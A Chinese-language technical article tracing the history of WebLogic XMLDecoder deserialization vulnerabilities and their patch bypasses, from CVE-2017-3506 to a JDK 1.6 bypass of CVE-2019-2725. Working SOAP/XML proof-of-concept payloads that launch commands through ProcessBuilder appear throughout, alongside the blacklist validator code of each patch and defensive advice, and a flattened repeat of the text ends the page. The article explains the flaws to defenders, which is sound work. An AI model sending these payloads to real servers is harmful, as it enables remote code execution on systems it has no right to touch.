从CVE-2019-2725绕过谈Weblogic XML RCE的绕过史
字数 1429 2025-08-18 11:38:45

WebLogic XMLDecoder反序列化漏洞分析与绕过史

1. XMLDecoder基础

XMLDecoder是Java提供的一个类,用于读取使用XMLEncoder创建的XML文档,功能类似于ObjectInputStream。其基本用法如下:

XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("Test.xml")));
Object result = d.readObject();
d.close();

1.1 XMLDecoder解析流程

XMLDecoder解析XML文件的基本流程:

  1. 解析XML标签,为每个标签创建对应的ElementHandler
  2. 通过一系列Handler的getValueObject调用
  3. 最终将标签内的值传给Expression类
  4. 调用getValue方法返回对象实例

1.2 基本PoC示例

<java>
  <object class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
      <void index="0">
        <string>/bin/bash</string>
      </void>
      <void index="1">
        <string>-c</string>
      </void>
      <void index="2">
        <string>ls</string>
      </void>
    </array>
    <void method="start"/>
  </object>
</java>

2. WebLogic XMLDecoder漏洞史

2.1 CVE-2017-3506

漏洞描述:首个WebLogic XMLDecoder反序列化漏洞

PoC

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java>
        <object class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>open /Applications/Calculator.app/</string>
            </void>
          </array>
          <void method="start"/>
        </object>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

补丁分析

private void validate(InputStream is) {
  WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
  try {
    SAXParser parser = factory.newSAXParser();
    parser.parse(is, new DefaultHandler() {
      public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
        if(qName.equalsIgnoreCase("object")) {
          throw new IllegalStateException("Invalid context type: object");
        }
      }
    });
  } catch (ParserConfigurationException var5) {
    throw new IllegalStateException("Parser Exception", var5);
  } catch (SAXException var6) {
    throw new IllegalStateException("Parser Exception", var6);
  } catch (IOException var7) {
    throw new IllegalStateException("Parser Exception", var7);
  }
}

2.2 CVE-2017-10271

绕过方法:使用void标签替代object标签

PoC

<java>
  <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
      <void index="0">
        <string>/bin/bash</string>
      </void>
      <void index="1">
        <string>-c</string>
      </void>
      <void index="2">
        <string>open /Applications/Calculator.app/</string>
      </void>
    </array>
    <void method="start"/>
  </void>
</java>

补丁分析

private void validate(InputStream is) {
  WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
  try {
    SAXParser parser = factory.newSAXParser();
    parser.parse(is, new DefaultHandler() {
      private int overallarraylength = 0;
      public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
        if(qName.equalsIgnoreCase("object")) {
          throw new IllegalStateException("Invalid element qName:object");
        } else if(qName.equalsIgnoreCase("new")) {
          throw new IllegalStateException("Invalid element qName:new");
        } else if(qName.equalsIgnoreCase("method")) {
          throw new IllegalStateException("Invalid element qName:method");
        } else {
          if(qName.equalsIgnoreCase("void")) {
            for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
              if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
              }
            }
          }
          if(qName.equalsIgnoreCase("array")) {
            String var9 = attributes.getValue("class");
            if(var9 != null && !var9.equalsIgnoreCase("byte")) {
              throw new IllegalStateException("The value of class attribute is not valid for array element.");
            }
          }
        }
      }
    });
  } catch (ParserConfigurationException var5) {
    throw new IllegalStateException("Parser Exception", var5);
  } catch (SAXException var6) {
    throw new IllegalStateException("Parser Exception", var6);
  } catch (IOException var7) {
    throw new IllegalStateException("Parser Exception", var7);
  }
}

2.3 CVE-2019-2725

漏洞组件_async组件

利用条件

  • 需要添加WS-Addressing头
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>

绕过方法:使用oracle.toplink.internal.sessions.UnitOfWorkChangeSet类进行二次反序列化

PoC

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java>
        <class>
          <string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
          <void>
            <array class="byte" length="8970">
              <void index="0">
                <byte>-84</byte>
              </void>
            </array>
          </void>
        </class>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

补丁分析

private void validate(InputStream is) {
  WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
  try {
    SAXParser parser = factory.newSAXParser();
    parser.parse(is, new DefaultHandler() {
      private int overallarraylength = 0;
      public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
        if (qName.equalsIgnoreCase("object")) {
          throw new IllegalStateException("Invalid element qName:object");
        } else if (qName.equalsIgnoreCase("class")) {
          throw new IllegalStateException("Invalid element qName:class");
        } else if (qName.equalsIgnoreCase("new")) {
          throw new IllegalStateException("Invalid element qName:new");
        } else if (qName.equalsIgnoreCase("method")) {
          throw new IllegalStateException("Invalid element qName:method");
        } else {
          if (qName.equalsIgnoreCase("void")) {
            for(int i = 0; i < attributes.getLength(); ++i) {
              if (!"index".equalsIgnoreCase(attributes.getQName(i))) {
                throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(i));
              }
            }
          }
          if (qName.equalsIgnoreCase("array")) {
            String attClass = attributes.getValue("class");
            if (attClass != null && !attClass.equalsIgnoreCase("byte")) {
              throw new IllegalStateException("The value of class attribute is not valid for array element.");
            }
            String lengthString = attributes.getValue("length");
            if (lengthString != null) {
              try {
                int length = Integer.valueOf(lengthString);
                if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
                  throw new IllegalStateException("Exceed array length limitation");
                }
                this.overallarraylength += length;
                if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
                  throw new IllegalStateException("Exceed over all array limitation.");
                }
              } catch (NumberFormatException var12) {
                throw new IllegalStateException(var12);
              }
            }
          }
        }
      }
    });
  } catch (ParserConfigurationException var5) {
    throw new IllegalStateException("Parser Exception", var5);
  } catch (SAXException var6) {
    throw new IllegalStateException("Parser Exception", var6);
  } catch (IOException var7) {
    throw new IllegalStateException("Parser Exception", var7);
  }
}

2.4 CVE-2019-2725绕过

利用条件:仅适用于JDK 1.6

绕过方法:使用array method="forName"绕过class标签限制

PoC

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java>
        <array method="forName">
          <string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
          <void>
            <array class="byte" length="3748"></array>
          </void>
        </array>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

JDK 1.6 XMLDecoder特性

  • 代码更简单,没有复杂的ElementHandler
  • 标签处理更宽松,允许array标签使用method属性
  • 自动补全class属性

3. 漏洞分析技巧

3.1 动态生成类分析

对于使用二次反序列化的攻击,可以通过以下方法分析攻击者代码:

  1. 开启WebLogic远程调试,断点打在ProcessBuilder类的start函数
  2. 使用jps -l命令查看WebLogic的PID
  3. 运行sudo java -cp $JAVA_HOME/lib/sa-jdi.jar sun.jvm.hotspot.HSDB查看对应PID的内存
  4. 搜索内存中的动态生成类,生成class文件并反编译

3.2 7u21模块分析

7u21模块利用的关键点:

  • 通过将TemplatesImpl对象的_bytecodes变量动态生成为对象
  • 该类的static block和构造函数会自动执行
  • 攻击者可以完全控制这个类的代码

4. 防御建议

  1. 保持JDK高版本:高版本JDK能有效防范Java反序列化攻击
  2. 删除不必要组件:对于基本用不到的WebLogic组件,能删就删
  3. 及时应用补丁:关注Oracle官方安全公告,及时应用安全补丁
  4. 网络隔离:将WebLogic服务器放置在受保护的网络区域

5. 总结

WebLogic XMLDecoder反序列化漏洞的演变过程展示了安全攻防的典型模式:

  1. 初始漏洞被发现(CVE-2017-3506)
  2. 简单补丁被绕过(CVE-2017-10271)
  3. 更严格的补丁导致攻击者寻找新的利用方式(CVE-2019-2725)
  4. 最终利用范围被限制到特定环境(仅JDK 1.6)

随着补丁的不断完善,漏洞利用的门槛越来越高,保持系统更新是防范此类漏洞的最有效方法。

WebLogic XMLDecoder反序列化漏洞分析与绕过史 1. XMLDecoder基础 XMLDecoder是Java提供的一个类,用于读取使用XMLEncoder创建的XML文档,功能类似于ObjectInputStream。其基本用法如下: 1.1 XMLDecoder解析流程 XMLDecoder解析XML文件的基本流程: 解析XML标签,为每个标签创建对应的ElementHandler 通过一系列Handler的getValueObject调用 最终将标签内的值传给Expression类 调用getValue方法返回对象实例 1.2 基本PoC示例 2. WebLogic XMLDecoder漏洞史 2.1 CVE-2017-3506 漏洞描述 :首个WebLogic XMLDecoder反序列化漏洞 PoC : 补丁分析 : 2.2 CVE-2017-10271 绕过方法 :使用 void 标签替代 object 标签 PoC : 补丁分析 : 2.3 CVE-2019-2725 漏洞组件 : _async 组件 利用条件 : 需要添加WS-Addressing头 绕过方法 :使用 oracle.toplink.internal.sessions.UnitOfWorkChangeSet 类进行二次反序列化 PoC : 补丁分析 : 2.4 CVE-2019-2725绕过 利用条件 :仅适用于JDK 1.6 绕过方法 :使用 array method="forName" 绕过class标签限制 PoC : JDK 1.6 XMLDecoder特性 : 代码更简单,没有复杂的ElementHandler 标签处理更宽松,允许array标签使用method属性 自动补全class属性 3. 漏洞分析技巧 3.1 动态生成类分析 对于使用二次反序列化的攻击,可以通过以下方法分析攻击者代码: 开启WebLogic远程调试,断点打在ProcessBuilder类的start函数 使用 jps -l 命令查看WebLogic的PID 运行 sudo java -cp $JAVA_HOME/lib/sa-jdi.jar sun.jvm.hotspot.HSDB 查看对应PID的内存 搜索内存中的动态生成类,生成class文件并反编译 3.2 7u21模块分析 7u21模块利用的关键点: 通过将TemplatesImpl对象的_ bytecodes变量动态生成为对象 该类的static block和构造函数会自动执行 攻击者可以完全控制这个类的代码 4. 防御建议 保持JDK高版本 :高版本JDK能有效防范Java反序列化攻击 删除不必要组件 :对于基本用不到的WebLogic组件,能删就删 及时应用补丁 :关注Oracle官方安全公告,及时应用安全补丁 网络隔离 :将WebLogic服务器放置在受保护的网络区域 5. 总结 WebLogic XMLDecoder反序列化漏洞的演变过程展示了安全攻防的典型模式: 初始漏洞被发现(CVE-2017-3506) 简单补丁被绕过(CVE-2017-10271) 更严格的补丁导致攻击者寻找新的利用方式(CVE-2019-2725) 最终利用范围被限制到特定环境(仅JDK 1.6) 随着补丁的不断完善,漏洞利用的门槛越来越高,保持系统更新是防范此类漏洞的最有效方法。